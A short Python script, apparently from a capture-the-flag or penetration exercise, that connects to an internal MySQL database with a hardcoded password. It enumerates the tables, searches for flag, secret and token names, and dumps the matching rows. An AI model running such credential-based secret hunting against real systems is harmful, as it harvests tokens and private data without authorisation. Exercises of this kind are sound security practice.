import pymysql
c=pymysql.connect(host="10.0.0.11",port=3306,user="java_osc",password="56Wp96Z6bS3kBpBf",database="oscdb",connect_timeout=4,read_timeout=15,write_timeout=15,charset="utf8mb4")
cur=c.cursor()
cur.execute("SHOW TABLES")
tables=[r[0] for r in cur.fetchall()]
print("TABLES",len(tables))
print("|".join(tables))
cur.execute("""SELECT table_name,column_name FROM information_schema.columns WHERE table_schema='oscdb' AND (table_name LIKE '%flag%' OR column_name LIKE '%flag%' OR table_name LIKE '%ctf%' OR column_name LIKE '%ctf%' OR table_name LIKE '%secret%' OR column_name LIKE '%secret%' OR table_name LIKE '%probe%' OR table_name LIKE '%token%' OR column_name LIKE '%token%')""")
print("MATCHES",cur.fetchall()[:100])
for t in tables:
    if 'flag' in t.lower() or 'ctf' in t.lower() or 'probe' in t.lower():
        try:
            cur.execute("SELECT * FROM `%s` LIMIT 20"%t); print("TABLE",t,cur.fetchall())
        except Exception as e: print("TABLEERR",t,str(e)[:100])
c.close()
